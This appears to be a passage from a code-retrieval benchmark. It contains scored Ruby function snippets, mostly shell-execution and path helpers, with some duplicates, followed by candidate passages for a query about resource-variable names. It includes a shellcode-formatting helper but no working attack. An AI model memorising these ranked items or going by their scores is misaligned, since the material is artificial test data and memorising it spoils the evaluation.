"text": "def write_shell_script(stack: , jruby_version: , ruby_stdlib_version: )\n source_folder = \"rubies/#{stack}\"\n FileUtils.mkdir_p(source_folder)\n\n file = \"#{source_folder}/jruby-#{jruby_version}.sh\"\n puts \"Writing #{file}\"\n File.open(file, 'w') do |file|\n file.puts <<~FILE\n #!/bin/sh\n\n # Sets OUTPUT_DIR, CACHE_DIR, and STACK\n source `dirname $0`/../common.sh\n source `dirname $0`/common.sh\n\n docker run -v $OUTPUT_DIR:/tmp/output -v $CACHE_DIR:/tmp/cache -e VERSION=#{jruby_version} -e RUBY_VERSION=#{ruby_stdlib_version} -t hone/jruby-builder:$STACK\n FILE\n end\nend",
"title": ""
},
{
"docid": "2fc2cb7b0f74ca1ecfbe5f8bf6cb046a",
"score": "0.4400694",
"text": "def execute_script(script, args)\n\t\tfull_path = self.class.find_script_path(script)\n\n\t\t# No path found? Weak.\n\t\tif full_path.nil?\n\t\t\tprint_error(\"The specified script could not be found: #{script}\")\n\t\t\treturn true\n\t\tend\n\n\t\to = Rex::Script::Shell.new(self, full_path)\n\t\to.run(args)\n\tend",
"title": ""
},
{
"docid": "a0b494ecaf21278b55dc1bae681e21bc",
"score": "0.43913674",
"text": "def executable=(value)\n @executable = value\n end",
"title": ""
},
{
"docid": "96365ad0d18d277e69dac20d2f3f0c9d",
"score": "0.43887722",
"text": "def build_command(command, *args)\n \"#{command} #{escape_arguments(args)}\".strip\n end",
"title": ""
},
{
"docid": "f8b18731db3c45f1fdc96a1387c979f8",
"score": "0.43852526",
"text": "def candidate_executable_for_command(command)\n if command =~ /^\\s*\"(.*?)\"/ || command =~ /^\\s*([^\\s]+)/\n # If we have quotes, do an exact match, else pick the first word ignoring the leading spaces\n $1\n else\n \"\"\n end\n end",
"title": ""
},
{
"docid": "f8b18731db3c45f1fdc96a1387c979f8",
"score": "0.43852526",
"text": "def candidate_executable_for_command(command)\n if command =~ /^\\s*\"(.*?)\"/ || command =~ /^\\s*([^\\s]+)/\n # If we have quotes, do an exact match, else pick the first word ignoring the leading spaces\n $1\n else\n \"\"\n end\n end",
"title": ""
},
{
"docid": "a313b6504163ebce44858091053ba918",
"score": "0.43819734",
"text": "def executable(component, system_config)\n _, _, ext_exe = *system_config.extensions(component.platform)\n File.join(system_config.out, component.platform, component.name, \"#{component.name}#{ext_exe}\")\n end",
"title": ""
},
{
"docid": "de5a4b017fa4f8f3ccc889f9af60080e",
"score": "0.43734914",
"text": "def format_shellcode(content)\n\t#Formats shellcode by replacing \\ with ,0\n\tcontent = content.gsub!('\\\\', \",0\")\n\t#Deletes instances of double quote\n\tcontent = content.delete ('\"')\n\t#Deletes instances of semi colon\n\tcontent = content.delete (\";\")\n\t#Slices all content up until the first piece of byte code\n\tcontent = content.slice(content.index(\",0x\")..-1)\n\t#Strips out newline chars to create a single line\t\n\tcontent = content.gsub(\"\\n\",\"\")\n\t#Strips the first comma off\n\tcontent = content[1..-1]\n\treturn content\nend",
"title": ""
},
{
"docid": "de5a4b017fa4f8f3ccc889f9af60080e",
"score": "0.43734914",
"text": "def format_shellcode(content)\n\t#Formats shellcode by replacing \\ with ,0\n\tcontent = content.gsub!('\\\\', \",0\")\n\t#Deletes instances of double quote\n\tcontent = content.delete ('\"')\n\t#Deletes instances of semi colon\n\tcontent = content.delete (\";\")\n\t#Slices all content up until the first piece of byte code\n\tcontent = content.slice(content.index(\",0x\")..-1)\n\t#Strips out newline chars to create a single line\t\n\tcontent = content.gsub(\"\\n\",\"\")\n\t#Strips the first comma off\n\tcontent = content[1..-1]\n\treturn content\nend",
"title": ""
},
{
"docid": "02cc2120e7190d6a45654e18769fc769",
"score": "0.437092",
"text": "def shell(shell_path)\n @platform.shell = shell_path\n end",
"title": ""
},
{
"docid": "705bc247d6cdacce46319e4f649fae90",
"score": "0.4369496",
"text": "def which(executable, env=ENV)\n if File.file?(executable) && File.executable?(executable)\n executable\n elsif env[\"PATH\"]\n path = env[\"PATH\"].split(File::PATH_SEPARATOR).find do |path|\n File.executable?(File.join(path, executable))\n end\n\n path && File.expand_path(executable, path)\n end\n end",
"title": ""
},
{
"docid": "5f2efc87f71f480bbecab38cd5c80749",
"score": "0.4367672",
"text": "def do_shell(line)\n line = line[:original]\n shell = ENV['SHELL']\n write shell\n write \"**#{line}**\"\n line.empty? ? system(shell) : write(%x(#{line}).strip)\n end",
"title": ""
},
{
"docid": "f7e5c41b25093df73ca47cb8277b4747",
"score": "0.4362196",
"text": "def execute_command(command_arguments)\n self.class.from_arguments(ui, command_arguments).execute\n end",
"title": ""
},
{
"docid": "8bee0e1eca8e308d242706f319dcf105",
"score": "0.43584976",
"text": "def shell_commands( cmd, args )\n cmdline = [ cmd.to_s.shellsplit ]\n cmdline << args.flatten.collect{ |a| a.to_s }\n return commandline_normalize( cmdline )\n end",
"title": ""
},
{
"docid": "3094903d51a48c8478faea7fdb59214e",
"score": "0.4343596",
"text": "def executable\n return File.basename(archive_path)\n end",
"title": ""
},
{
"docid": "a012fa39ac948b0d46a31faf23685537",
"score": "0.43410146",
"text": "def process_command(_args)\n path = MYSH_LIB + \"mysh/help/\" + @file_name\n mysh \"load #{path.to_host_spec}\"\n end",
"title": ""
},
{
"docid": "178aa44d02d7123a3a328b99d833d99f",
"score": "0.433868",
"text": "def _GetCommandLinePath(path)\n rpath = path.gsub(/\\s/, \"\\\\\\s\")\n #puts \"Compatible path '#{rpath}'\"\n return rpath\n end",
"title": ""
},
{
"docid": "712b38b715ab674b27e44b78c232c12c",
"score": "0.4326914",
"text": "def shell! str\n Marshal.load %x{ruby #{File.dirname(__FILE__)}/argv #{str}}\nend",
"title": ""
},
{
"docid": "1306cf0a95b4e3e0e5b087ebc89ab6bd",
"score": "0.43238726",
"text": "def sh(*command, argv0: nil, **opts)\n\t\t\tdefaults=default_sh_options\n\t\t\tcuropts=defaults.dup\n\t\t\tdefaults.keys.each do |k|\n\t\t\t\tv=opts.delete(k)\n\t\t\t\tcuropts[k]=v unless v.nil?\n\t\t\tend\n\n\t\t\tlog=curopts[:log]\n\t\t\tcommand=[[command.first, argv0], *command[1..-1]] if argv0 and command.length > 1 and !curopts[:escape]\n\n\t\t\tif command.length==1 and command.first.kind_of?(Array) #so that sh([\"ls\", \"-a\"]) works\n\t\t\t\tcommand=command.first\n\t\t\t\tcommand=[[command.first, argv0], *command[1..-1]] if argv0 and !curopts[:escape]\n\t\t\tend\n\t\t\tcommand_name = curopts[:name] || command_name(command) #this keep the options\n\t\t\t# this should not be needed\n\t\t\tcommand=command.shelljoin if curopts[:escape]\n\n\t\t\tif log\n\t\t\t\tsh_logger.send(curopts[:log_level_execute], SimpleColor.color(\"Executing '#{command_name}'\",:bold))\n\t\t\t\tp_env, p_args, p_opts= Run.process_command(*command, **opts)\n\t\t\t\tsh_logger.send(curopts[:log_level_execute_debug], SimpleColor.color(\"Debug execute: #{[p_env, *p_args, p_opts]}\", :bold))\n\t\t\tend\n\n\t\t\tif !curopts[:dryrun]\n\t\t\t\tif curopts[:capture] || curopts[:mode]==:capture\n\t\t\t\t\tstdout,stderr,status = shrun(*command,**opts,mode: :capture)\n\t\t\t\telsif curopts[:detach] || curopts[:mode]==:spawn || curopts[:mode]==:detach\n\t\t\t\t\tmode = curopts[:detach] ? :detach : curops[:mode]\n\t\t\t\t\t_pid = shrun(*command,**opts, mode: mode)\n\t\t\t\t\tstatus=0; stdout=nil; stderr=nil\n\t\t\t\telsif curopts[:mode]==:run\n\t\t\t\t\tstatus, stdout, stderr=shrun(*command,mode: curopts[:mode], **opts)\n\t\t\t\telse\n\t\t\t\t\tmode = curopts[:mode] || :system\n\t\t\t\t\tshrun(*command,mode: mode, **opts)\n\t\t\t\t\tstatus=$?; stdout=nil; stderr=nil\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tsh_logger.info command.to_s\n\t\t\t\tstatus=0; stdout=nil; stderr=nil\n\t\t\tend\n\t\t\tprocess_status = ProcessStatus.new(status,curopts[:expected])\n\n\t\t\tsh_logger.send(curopts[:log_level_stderr], SimpleColor.color(\"stderr output of '#{command_name}':\\n\",:bold,:red)+stderr) unless stderr.nil? or stderr.strip.length == 0 or !log\n\t\t\tif process_status.success?\n\t\t\t\tsh_logger.send(curopts[:log_level_stdout_success], SimpleColor.color(\"stdout output of '#{command_name}':\\n\",:bold,:green)+stdout) unless stdout.nil? or stdout.strip.length == 0 or !log\n\t\t\t\tcuropts[:on_success].call(stdout,stderr,process_status) unless curopts[:on_success].nil?\n\t\t\t\t# block.call(stdout,stderr,process_status) unless block.nil?\n\t\t\telse\n\t\t\t\tsh_logger.send(curopts[:log_level_stdout_fail], SimpleColor.color(\"stdout output of '#{command_name}':\\n\",:bold,:yellow)+stdout) unless stdout.nil? or stdout.strip.length == 0 or !log\n\t\t\t\tsh_logger.send(curopts[:log_level_error], SimpleColor.color(\"Error running '#{command_name}': #{process_status.status}\",:red,:bold)) if log\n\t\t\t\tcuropts[:on_error].call(stdout,stderr,process_status) unless curopts[:on_error].nil?\n\t\t\tend\n\t\t\tyield process_status.success?,stdout,stderr,process_status if block_given?\n\t\t\tif curopts[:capture] || curopts[:mode]==:capture || curopts[:mode]==:run\n\t\t\t\treturn process_status.success?,stdout,stderr,process_status\n\t\t\telse\n\t\t\t\treturn process_status.success?\n\t\t\tend\n\n\t\trescue SystemCallError => ex\n\t\t\tsh_logger.send(curopts[:log_level_error], SimpleColor.color(\"Error running '#{command_name}': #{ex.message}\",:red,:bold)) if log\n\t\t\tif block_given?\n\t\t\t\tyield 127, nil, nil, nil\n\t\t\telse\n\t\t\t\treturn 127, nil, nil, nil\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "1eb54d8d65406dc4c7cf11865e58f8ca",
"score": "0.4319841",
"text": "def osascript(script)\n\t\tcmd = ['osascript'] + script.split(/\\n/).map { |line| ['-e', line] }.flatten\n\t\tIO.popen(cmd) { |io| return io.read }\n\tend",
"title": ""
},
{
"docid": "1eb54d8d65406dc4c7cf11865e58f8ca",
"score": "0.4319841",
"text": "def osascript(script)\n\t\tcmd = ['osascript'] + script.split(/\\n/).map { |line| ['-e', line] }.flatten\n\t\tIO.popen(cmd) { |io| return io.read }\n\tend",
"title": ""
},
{
"docid": "6baa7c48b76880931d6a1a383cded87f",
"score": "0.43125948",
"text": "def command_to_execute_me\n command = Pathname.new(File.expand_path($0)).relative_path_from(Dir.pwd).to_s\n command = \"./#{command}\" unless command[\"/\"]\n command\n end",
"title": ""
},
{
"docid": "38ad363c106f9f3bb74325be1c6363e3",
"score": "0.43089116",
"text": "def executable_in_path?(executable)\n return false unless ENV['PATH']\n\n ENV['PATH'].split(File::PATH_SEPARATOR).any? do |bin_path|\n executable_path = File.join(bin_path, executable)\n File.exist?(executable_path) && File.file?(executable_path) && File.executable?(executable_path)\n end\n end",
"title": ""
},
{
"docid": "6da36b87a3c12256bcec1b99190189ed",
"score": "0.4299371",
"text": "def shell_type(script)\n case script\n when /\\.rb$/ then 'ruby'\n when /\\.(sh|bash)$/ then 'bash -l'\n else 'bash -l -c'\n end << \" '#{script}'\"\n end",
"title": ""
},
{
"docid": "eaa6f07e6d3a5f870579a394b79fb75a",
"score": "0.4289558",
"text": "def osascript(script)\n\tcmd = ['osascript'] + script.split(/\\n/).map { |line| ['-e', line] }.flatten\n\tIO.popen(cmd) { |io| return io.read }\nend",
"title": ""
},
{
"docid": "eaa6f07e6d3a5f870579a394b79fb75a",
"score": "0.4289558",
"text": "def osascript(script)\n\tcmd = ['osascript'] + script.split(/\\n/).map { |line| ['-e', line] }.flatten\n\tIO.popen(cmd) { |io| return io.read }\nend",
"title": ""
},
{
"docid": "eaa6f07e6d3a5f870579a394b79fb75a",
"score": "0.4289558",
"text": "def osascript(script)\n\tcmd = ['osascript'] + script.split(/\\n/).map { |line| ['-e', line] }.flatten\n\tIO.popen(cmd) { |io| return io.read }\nend",
"title": ""
},
{
"docid": "58528ab6375ba774490a93df04e7331b",
"score": "0.42835385",
"text": "def execute(path, arguments, block)\n begin\n f = IO.popen([exec, @options, path, arguments].flatten)\n if block\n result = f.each_line do |line|\n block.call(line)\n end\n else\n result = f.read\n end\n f.close\n result\n rescue Errno::ENOENT\n raise CommandNotFoundError.new('Phantomjs is not installed')\n end\n end",
"title": ""
},
{
"docid": "29dd7a25cf2d02b7412bf80e263c2e2c",
"score": "0.42819583",
"text": "def safesystemout(*args)\n if args.size == 1\n args = [ ENV[\"SHELL\"], \"-c\", args[0] ]\n end\n program = args[0]\n\n if !program.include?(\"/\") and !program_in_path?(program)\n raise ExecutableNotFound.new(program)\n end\n\n @logger.debug(\"Running command\", :args => args)\n\n stdout_r, stdout_w = IO.pipe\n stderr_r, stderr_w = IO.pipe\n\n process = ChildProcess.build(*args)\n process.io.stdout = stdout_w\n process.io.stderr = stderr_w\n\n process.start\n stdout_w.close; stderr_w.close\n stdout_r_str = stdout_r.read\n stdout_r.close; stderr_r.close\n @logger.debug(\"Process is running\", :pid => process.pid)\n\n process.wait\n success = (process.exit_code == 0)\n\n if !success\n raise ProcessFailed.new(\"#{program} failed (exit code #{process.exit_code})\" \\\n \". Full command was:#{args.inspect}\")\n end\n\n return stdout_r_str\n end",
"title": ""
},
{
"docid": "304e18a7231efffaefc3a5cfee9b4266",
"score": "0.42810628",
"text": "def which(executable)\n if File.executable?(exec = File.join(Dir.pwd, 'bin', executable))\n exec\n else\n executable\n end\n end",
"title": ""
},
{
"docid": "9abd7b62300f250e9fee7904301daa6d",
"score": "0.42669338",
"text": "def shellscript?(filename)\n return false unless File.exist?(filename) && File.readable?(filename) \\\n && File.file?(File.realpath(filename))\n\n shellscript_shebang?(filename) ||\n (shellscript_extension?(filename) && shellscript_syntax?(filename))\n end",
"title": ""
},
{
"docid": "e00a6429b3ca7f8f2c9acce4176e9f1f",
"score": "0.4264946",
"text": "def ruby_executable\n unless (path = get(\"ruby_executable\", nil))\n path = OSPackageResolver.autodetect_ruby_program\n set(\"ruby_executable\", path, true)\n end\n\n path\n end",
"title": ""
},
{
"docid": "74efa1b9c481bf1b8c717b57f229ac91",
"score": "0.42630437",
"text": "def command\n OSX::NSBundle.mainBundle.infoDictionary['CFBundleExecutable'].to_s\n end",
"title": ""
},
{
"docid": "a58a8b1c278014217aaaec820a43217d",
"score": "0.4262791",
"text": "def safesystem(*args)\n # ChildProcess isn't smart enough to run a $SHELL if there's\n # spaces in the first arg and there's only 1 arg.\n if args.size == 1\n args = [ ENV[\"SHELL\"], \"-c\", args[0] ]\n end\n program = args[0]\n\n # Scan path to find the executable\n # Do this to help the user get a better error message.\n if !program.include?(\"/\") and !program_in_path?(program)\n raise ExecutableNotFound.new(program)\n end\n\n @logger.debug(\"Running command\", :args => args)\n\n # Create a pair of pipes to connect the\n # invoked process to the cabin logger\n stdout_r, stdout_w = IO.pipe\n stderr_r, stderr_w = IO.pipe\n\n process = ChildProcess.build(*args)\n process.io.stdout = stdout_w\n process.io.stderr = stderr_w\n\n process.start\n stdout_w.close; stderr_w.close\n @logger.debug('Process is running', :pid => process.pid)\n @logger.pipe(stdout_r => :info, stderr_r => :error)\n\n process.wait\n success = (process.exit_code == 0)\n\n if !success\n raise ProcessFailed.new(\"#{program} failed (exit code #{process.exit_code})\" \\\n \". Full command was:#{args.inspect}\")\n end\n return success\n end",
"title": ""
},
{
"docid": "03a471a849f1fe8561c49cdfd191041a",
"score": "0.42608517",
"text": "def run_script(command, script, options={})\n command.as_file do |execution_command|\n `chmod +x #{execution_command}`\n status = POpen4::popen4(execution_command) do |stdout, stderr, stdin, pid|\n out = stdout.read\n logfile.puts out unless out.strip == \"\"\n err = stderr.read\n if err.strip != \"\"\n logfile.puts err\n STDERR.puts err if logfile != STDERR\n end\n logfile.flush\n end\n status.success?\n end\n rescue StandardError => e\n logfile.puts e.message\n false\n end",
"title": ""
},
{
"docid": "2a0d7e07db412f7bda8fe38ca8a4875b",
"score": "0.4251856",
"text": "def sh\n \"#{self.dir}/#{self.id}.sh\"\n end",
"title": ""
},
{
"docid": "6cc81ebbefb3d3ddde9d8300f8652f21",
"score": "0.42495635",
"text": "def get_argument_file_name(command_arguments)\n argument_length = command_arguments.length\n\n if argument_length == 0\n nil\n else\n command_arguments[0]\n end\n end",
"title": ""
}
] |
99524f0c8fccad86e2c3a82c1494fca8
|
Return the name for resource variable.
|
[
{
"docid": "fa3712c59ea3b8c06faf89a8a254966a",
"score": "0.0",
"text": "def resource_name\n :\"@#{controller_name.singularize}\"\n end",
"title": ""
}
] |
[
{
"docid": "dfd1ed4aea2a2e7ed279fb721fb0903e",
"score": "0.8364149",
"text": "def variable_name(resource)\n name = controller.instance_variables.index { |var| controller.instance_variable_get(var) === resources.first }\n name = controller.instance_variables[name].to_s.gsub(/@/, '') if name\n name.to_s\n end",
"title": ""
},
{
"docid": "232a5609445bd779cf33fdf8ee25494c",
"score": "0.759518",
"text": "def resource_name\n @resource_name ||= plural_name\n end",
"title": ""
},
{
"docid": "c63c353dd57addbd45d2883543e6f370",
"score": "0.75283736",
"text": "def resource_name\n @resource_name ||= get_resource_name\n end",
"title": ""
},
{
"docid": "632ad4e7186dd914d0661b50a7a7acf5",
"score": "0.7461442",
"text": "def resource_name\n resource[:name].gsub(/\\s/, '_').downcase.singularize\n end",
"title": ""
},
{
"docid": "41fb07b87aa4d73ce40ca4455c096ad4",
"score": "0.7396785",
"text": "def get_resource_name\n\t\t@name + '_' + @hot.resources_list.length.to_s unless @name.empty?\n\tend",
"title": ""
},
{
"docid": "04a4147760157ec67fe2f02eaab06726",
"score": "0.73930496",
"text": "def name\n @resource.name\n end",
"title": ""
},
{
"docid": "f21f89e283f275fa4be7922a2a7f58b8",
"score": "0.7346451",
"text": "def resource_name\n @resource_name ||= Inflection.plural(singular_resource_name)\n end",
"title": ""
},
{
"docid": "5b05902195e31284463af14f50f861ba",
"score": "0.7302454",
"text": "def resource_name\n @resource_name ||= model_name.element.pluralize\n end",
"title": ""
},
{
"docid": "635d7f0068d53543be0588a7bbc3ddbe",
"score": "0.7285545",
"text": "def resource_name\n @resource_name ||= singular_resource_name.pluralize\n end",
"title": ""
},
{
"docid": "379a2bc56100f978742d8783de431071",
"score": "0.7258306",
"text": "def resource_name\n @resource_name ||= plural_resource_name.singularize\n end",
"title": ""
},
{
"docid": "2f3258267f1b4b72ed3d6ebcad053292",
"score": "0.72231805",
"text": "def resource_name\n name.ns_underscore.pluralize\n end",
"title": ""
},
{
"docid": "0f3acf4889e6138a144c8f9bbd3f89ca",
"score": "0.7211187",
"text": "def resource_name name=nil\n if name\n @resource_name = name\n end\n @resource_name || default_resource_name\n end",
"title": ""
},
{
"docid": "51122f3402e9d68e167787d1d892f90a",
"score": "0.7208437",
"text": "def resource_name\n return @resource_name\n end",
"title": ""
},
{
"docid": "51122f3402e9d68e167787d1d892f90a",
"score": "0.7208437",
"text": "def resource_name\n return @resource_name\n end",
"title": ""
},
{
"docid": "51122f3402e9d68e167787d1d892f90a",
"score": "0.7208437",
"text": "def resource_name\n return @resource_name\n end",
"title": ""
},
{
"docid": "0903d69d6633dd2acf0f5995c8679bb5",
"score": "0.7174924",
"text": "def resource_name\n @resource_name ||= self.class.to_s.underscore.gsub(%r{.*/([^/]+)\\z}, '\\1')\n end",
"title": ""
},
{
"docid": "54e19d710475f212537588cebfe26330",
"score": "0.71499026",
"text": "def name\n @name ||= [action, resource.name, resource.type].compact.map(&:to_s).join('_').underscore\n end",
"title": ""
},
{
"docid": "a25cd2f338a37adc8d11d9ce2b30f9a4",
"score": "0.71335006",
"text": "def plural_resource_variable\n \"@#{resource_name.pluralize}\"\n end",
"title": ""
},
{
"docid": "80eef692808adcfffee2eece609ff033",
"score": "0.7089362",
"text": "def resource_name\n \"#{self.class.to_s.split(\"::\").last.downcase}s\"\n end",
"title": ""
},
{
"docid": "7f82024c3916acb5bd2ce55da3b04a39",
"score": "0.7088122",
"text": "def resource_name(resource)\n resource.xpath('string(command//tstring_content/@value)')\n end",
"title": ""
},
{
"docid": "7f82024c3916acb5bd2ce55da3b04a39",
"score": "0.7088122",
"text": "def resource_name(resource)\n resource.xpath('string(command//tstring_content/@value)')\n end",
"title": ""
},
{
"docid": "308192d21114ceeae1f08ce59050b0e0",
"score": "0.7074962",
"text": "def resource_test_name(var_number = nil)\n resource_property = \"test_#{resource_name}\"\n resource_property = \"#{resource_property}_#{var_number}\" unless var_number.nil?\n resource_property\n end",
"title": ""
},
{
"docid": "978bd0e37e6c84d91d17af267fa27c3e",
"score": "0.7038994",
"text": "def qualified_resource_name\n @qualified_resource_name ||=\n begin\n @resource_class.name.split('::').map do |str|\n tools.string.underscore(str)\n end.join('-')\n end # name\n end",
"title": ""
},
{
"docid": "70e0d218522d58a1da734941262b65ff",
"score": "0.70272833",
"text": "def resource_name(resource)\n raise_unless_xpath!(resource)\n resource.xpath('string(command//tstring_content/@value)')\n end",
"title": ""
},
{
"docid": "9afcadbf72ff4165e3255ff24d55ae4b",
"score": "0.7010602",
"text": "def resource_label\n resource_name.translate count: 1,\n default: resource_name.to_s.gsub(\"::\", \" \").titleize\n end",
"title": ""
},
{
"docid": "23594d9c70e422ab17097212109a96ce",
"score": "0.6987204",
"text": "def resource_item_name\n resource_name.to_s.singularize.to_sym\n end",
"title": ""
},
{
"docid": "9fe74d3096c28e6472eb29cf14dd9ce9",
"score": "0.696976",
"text": "def resource_name\n resource.name.singularize.underscore\n end",
"title": ""
},
{
"docid": "2cce4cdeb63216e28d02e0dc99c6f4ed",
"score": "0.69688517",
"text": "def resource_name\n current_definition.resource_name\n end",
"title": ""
},
{
"docid": "5518668cb7941199c8ae3ade3d4bb29d",
"score": "0.69489765",
"text": "def resource_name\n resource_class.resource_name\n end",
"title": ""
},
{
"docid": "599f5645be8bf9223bffcfad6cbc944f",
"score": "0.69369316",
"text": "def resources_name\n @resources_name ||= resource_specification.name.pluralize\n end",
"title": ""
},
{
"docid": "039ead406b4f81a591b187d2b2d2c62c",
"score": "0.6920758",
"text": "def name\n @name ||= new_resource.name[-1] == '.' ? new_resource.name : \"#{new_resource.name}.\"\n end",
"title": ""
},
{
"docid": "937f0c9687f26d9fa127d3ec9425e45b",
"score": "0.68831414",
"text": "def resource_name\n resource_specification.name\n end",
"title": ""
},
{
"docid": "a7075f85e73b0be00831f9ad7da864fa",
"score": "0.68552864",
"text": "def to_resource_name\n singularize.underscore\n end",
"title": ""
},
{
"docid": "01234a8bda096a2e8b4d98b377b665ae",
"score": "0.68507385",
"text": "def resource_item_name\n current_definition.resource_item_name\n end",
"title": ""
},
{
"docid": "290143dd66116dec1dabf38aca0ba318",
"score": "0.68413633",
"text": "def resource_name\n resource_class.slice(0,1).downcase + resource_class.slice(1,resource_class.length)\n end",
"title": ""
},
{
"docid": "650855617b30d6307da45c8e6014bfcd",
"score": "0.6836588",
"text": "def resource_name=(value)\n @resource_name = value\n end",
"title": ""
},
{
"docid": "650855617b30d6307da45c8e6014bfcd",
"score": "0.6836588",
"text": "def resource_name=(value)\n @resource_name = value\n end",
"title": ""
},
{
"docid": "650855617b30d6307da45c8e6014bfcd",
"score": "0.6836588",
"text": "def resource_name=(value)\n @resource_name = value\n end",
"title": ""
},
{
"docid": "b8c5ce50de643a2490ad5850cdca6917",
"score": "0.67878544",
"text": "def resource_item_name\n resource_name.to_s.singularize.to_sym\n end",
"title": ""
},
{
"docid": "cb60649cc93564d9c8f8fc1548022b5b",
"score": "0.6783081",
"text": "def resource_name\n @@resource_name ||= self.class.to_s.split('::').last.gsub('Controller', '').singularize.underscore\n end",
"title": ""
},
{
"docid": "b4b2e550641a52f0fb08147068b423ed",
"score": "0.6774827",
"text": "def resource_name\n @resource_name ||= controller_name.singularize\n end",
"title": ""
},
{
"docid": "b4b2e550641a52f0fb08147068b423ed",
"score": "0.6774827",
"text": "def resource_name\n @resource_name ||= controller_name.singularize\n end",
"title": ""
},
{
"docid": "97f5e73cf7f658ae6d2f7ad3f765254c",
"score": "0.67584",
"text": "def name\n\t\t\traise \"Resource#name must be overriden!\"\n\t\tend",
"title": ""
},
{
"docid": "92dfe94e497d8a06212c40c95d06a9b1",
"score": "0.67431664",
"text": "def get_fqdn\n return @resource[:name]\n end",
"title": ""
},
{
"docid": "ff85c437649e5052d201e094037ddac2",
"score": "0.67387176",
"text": "def extract_resource_name_from_tag\n tags = resource[:tags] ? resource[:tags].map { |k,v| {key: k, value: v} } : []\n tags << {key: 'Name', value: name}\n end",
"title": ""
},
{
"docid": "e5d4699c19f9ee3f6b97bddf33d39cb7",
"score": "0.67114455",
"text": "def resource\n instance_variable_get(:\"@#{resource_name}\")\n end",
"title": ""
},
{
"docid": "e5d4699c19f9ee3f6b97bddf33d39cb7",
"score": "0.67114455",
"text": "def resource\n instance_variable_get(:\"@#{resource_name}\")\n end",
"title": ""
},
{
"docid": "423aa6b8e3f6a01f878c9606abed55a7",
"score": "0.6708191",
"text": "def service_name\n resource[:name]\n end",
"title": ""
},
{
"docid": "e036ecec9e4b1008be6bb3d3a6cfac63",
"score": "0.67047775",
"text": "def resource_test_sym(var_number = nil)\n \":#{resource_test_name(var_number)}\"\n end",
"title": ""
},
{
"docid": "deba2e04d794eb808e5b8c3be1685fe0",
"score": "0.6683307",
"text": "def name\n if resource_class.respond_to?(:human_attribute_name)\n resource_class.human_attribute_name(attribute)\n else\n attribute.to_s.titleize\n end\n end",
"title": ""
},
{
"docid": "352a0dd9cc453426d3dab2dfcde58b39",
"score": "0.6665441",
"text": "def hyphenated_name\n resource_name.ns_hyphenate\n end",
"title": ""
},
{
"docid": "8a27c7481fdaf88e95840d2c89206794",
"score": "0.66500866",
"text": "def resource_name\n @resource_name\n end",
"title": ""
},
{
"docid": "a4bebf87c24bdcff66f64343fb0487e4",
"score": "0.6649811",
"text": "def local_name\n \"#{key}_value\"\n end",
"title": ""
},
{
"docid": "624cac4c47233228996a188ebb1ec6bd",
"score": "0.6641318",
"text": "def resource_name\n self.class.name.ns_underscore.pluralize\n end",
"title": ""
},
{
"docid": "fcbbe0f67ab37627704b8bed3bbc2de8",
"score": "0.664001",
"text": "def name\n record.resource_id\n end",
"title": ""
},
{
"docid": "39f6477295423574af0c86e7f399a563",
"score": "0.6610457",
"text": "def resource_name\n\t\t\t\t@resource_name ||= self.controller_name.singularize\n\t\t\tend",
"title": ""
},
{
"docid": "902fbf3f645cefc0dba63aadb630fd7b",
"score": "0.6609838",
"text": "def resource_name\n @resource_name ||= self.controller_name.singularize\n end",
"title": ""
},
{
"docid": "902fbf3f645cefc0dba63aadb630fd7b",
"score": "0.6609838",
"text": "def resource_name\n @resource_name ||= self.controller_name.singularize\n end",
"title": ""
},
{
"docid": "bb75b284126e8968d04a2f3cb7f6bcbb",
"score": "0.65807575",
"text": "def get_resource\n\t\t\t\tinstance_variable_get(\"@#{resource_name}\")\n\t\t\tend",
"title": ""
},
{
"docid": "1701287cd356782e656af381167a1870",
"score": "0.65637195",
"text": "def resource_ivar\n \"@#{class_name.model_name.singular}\"\n end",
"title": ""
},
{
"docid": "295124a8c4fa0635df10ecb6b6c4e53b",
"score": "0.6562895",
"text": "def resource_name\n @resource_name ||= self.controller_name.singularize\n end",
"title": ""
},
{
"docid": "295124a8c4fa0635df10ecb6b6c4e53b",
"score": "0.6562895",
"text": "def resource_name\n @resource_name ||= self.controller_name.singularize\n end",
"title": ""
},
{
"docid": "532a6a33f17d86004da0f832ed7466ca",
"score": "0.6555651",
"text": "def resource_template(name)\n \"#{resource}_#{name}\"\n end",
"title": ""
},
{
"docid": "419fb1ba96a53b4168fc4dde0eed171e",
"score": "0.65536606",
"text": "def varName\n \"#{entity.name}_#{name}\"\n end",
"title": ""
},
{
"docid": "45e23a2c6897b06c0eb0299d9822afbb",
"score": "0.6548373",
"text": "def name\n return @name unless @name.nil?\n if ofs_name != 65535\n io = _root.resource_map.names_with_io._io\n _pos = io.pos\n io.seek(ofs_name)\n @name = Name.new(io, self, @_root)\n io.seek(_pos)\n end\n @name\n end",
"title": ""
},
{
"docid": "18e6cb61e3b347ea52ce118f8464d27d",
"score": "0.65416306",
"text": "def resource_name\n resource_module.to_s.demodulize\n end",
"title": ""
},
{
"docid": "683e5ba4a8258117b1b7a3e45b703554",
"score": "0.6537853",
"text": "def root_resource_name\n components.keys.first.to_s\n end",
"title": ""
},
{
"docid": "d8402ffa44eae27e597dc6624cab2342",
"score": "0.6530233",
"text": "def var_name()\n if self.id.start_with?(/\\Ah?l_/i)\n return self.id.downcase\n else\n return \"l_#{self.id.downcase}\"\n end\n end",
"title": ""
},
{
"docid": "b3aa414de1f9b79dd54b5295b25b4847",
"score": "0.650209",
"text": "def resource\n instance_variable_get(\"@#{resource_name}\")\n end",
"title": ""
},
{
"docid": "2d53566f9af6b545657147e34d779671",
"score": "0.6501732",
"text": "def get_resource\n instance_variable_get(\"@#{resource_name}\")\n end",
"title": ""
},
{
"docid": "3883798967661209c4b6868efb28ba26",
"score": "0.6500799",
"text": "def get_resource\n instance_variable_get(\"@#{resource_name}\")\n end",
"title": ""
},
{
"docid": "3883798967661209c4b6868efb28ba26",
"score": "0.6500799",
"text": "def get_resource\n instance_variable_get(\"@#{resource_name}\")\n end",
"title": ""
},
{
"docid": "3883798967661209c4b6868efb28ba26",
"score": "0.6500799",
"text": "def get_resource\n instance_variable_get(\"@#{resource_name}\")\n end",
"title": ""
},
{
"docid": "0e9bc9591ce5559e1c75f9ca521dd47c",
"score": "0.6498783",
"text": "def plural_resource_name\n @plural_resource_name ||= resource_name.pluralize\n end",
"title": ""
},
{
"docid": "b666e228fbbc47b415daf67051a59697",
"score": "0.64970815",
"text": "def resource_name\n @resource_name ||= controller_name.singularize\n end",
"title": ""
},
{
"docid": "6ea15c3f4cec529a338fd221c8b186d4",
